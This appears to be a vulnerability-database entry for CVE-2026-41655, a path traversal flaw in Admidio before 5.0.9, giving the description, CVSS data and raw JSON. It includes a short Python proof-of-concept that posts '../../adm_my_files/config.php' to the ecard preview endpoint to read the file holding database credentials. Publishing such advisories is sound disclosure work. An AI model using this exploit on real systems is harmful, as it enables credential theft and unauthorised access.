Security Vulnerability Report
中文
CVE-2026-41655 CVSS 6.5 MEDIUM

CVE-2026-41655

Published: 2026-05-07 04:16:28
Last Modified: 2026-05-07 16:16:20

Description

Admidio is an open-source user management solution. Prior to version 5.0.9, the ecard_preview.php endpoint does not validate that the ecard_template POST parameter is a safe filename before passing it to ECard::getEcardTemplate(). An authenticated user can supply a path traversal payload (e.g., ../config.php) to read arbitrary files accessible to the web server process, including adm_my_files/config.php which contains database credentials. This issue has been patched in version 5.0.9.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Admidio < 5.0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target_url = "http://target.com/admidio/adm_program/modules/ecards/ecard_preview.php" # Payload to read the configuration file containing database credentials payload = { "ecard_template": "../../adm_my_files/config.php" } # Authentication is required (Low Privileges) cookies = { "PHPSESSID": "valid_session_id_of_authenticated_user" } response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("Vulnerability exploited successfully!") print("Response content:") print(response.text) else: print("Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41655", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:28.470", "lastModified": "2026-05-07T16:16:20.177", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, the ecard_preview.php endpoint does not validate that the ecard_template POST parameter is a safe filename before passing it to ECard::getEcardTemplate(). An authenticated user can supply a path traversal payload (e.g., ../config.php) to read arbitrary files accessible to the web server process, including adm_my_files/config.php which contains database credentials. This issue has been patched in version 5.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-m3vp-3jjm-gpmx", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-m3vp-3jjm-gpmx", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}